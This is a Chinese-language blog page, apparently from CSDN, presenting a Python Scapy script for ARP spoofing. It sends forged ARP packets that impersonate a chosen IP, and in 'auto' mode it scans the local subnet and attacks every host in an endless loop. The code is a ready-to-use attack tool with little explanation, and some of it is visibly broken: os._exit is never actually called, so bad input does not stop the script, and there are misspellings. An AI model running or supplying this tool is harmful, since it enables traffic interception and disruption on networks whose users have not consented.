python3的arpspoof

该代码实现了一个ARP欺骗的功能,通过Scapy库发送ARP请求和响应,可以伪装成任意IP地址。当目标IP为'auto'时,会自动搜索并攻击同一网段内的设备。用户需要提供接口、目标IP和伪装IP。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

from scapy.all import *
import os
import cliscan
import time
import argparse
import re

def arpspof(iface,ip_1,ip_2):
    eth=Ether()
    eth.dst='ff:ff:ff:ff:ff:ff'
    arp=ARP()
    arp.hwlen=6
    arp.plen=4
    arp.op=1
    arp.pdst=ip_1
    arp.psrc=ip_2
    arp.hwsrc=get_if_hwaddr(iface)
    pkt=eth/arp
    ans,noans=srp(pkt,verbose=False)
    if ans:
        print('from',ans[0][1].psrc,"reply",ans[0][1].pdst,"is at",ans[0][1].hwdst)
    time.sleep(0.5)

if __name__ == '__main__':
    par=argparse.ArgumentParser("python arpqip")
    par.add_argument("-t","--target",help="target ip address,You can also use \"-t auto\" to auto search target and start attack")
    par.add_argument("-s","--source",help="pretend ip address")
    par.add_argument("-i","--interface",help="select which interface to start attach")
    args=par.parse_args()
    iface=args.interface
    if args.target == "auto":
        try:
            re.match(r"^((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}$",args.source).group()
            print("Your mac address on",iface,"is",get_if_hwaddr(iface))
            print("[*] Arp spoofing will start!")
        except:
            print("Invaild argument \tuse -h to get help")
            os._exit
        try:
            res=cliscan.arpscan(gt=args.source)
            time.sleep(2)
            while True:
                for i in res:
                    arpspof(args.interface,i,args.source)
        except:
            os._exit
    else:
        try:
            re.match(r"^((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}$",args.target).group()
            re.match(r"^((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})(\.((2(5[0-5]|[0-4]\d))|[0-1]?\d{1,2})){3}$",args.source).group()
        except:
            print("Invaild argument \tuse -h to get help")
            os._exit
        try:
            print("[*] Arp spoofing will start!")
            time.sleep(2)
            while True:
                    arpspof(args.interface,args.target,args.source)
        except:
            os._exit

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值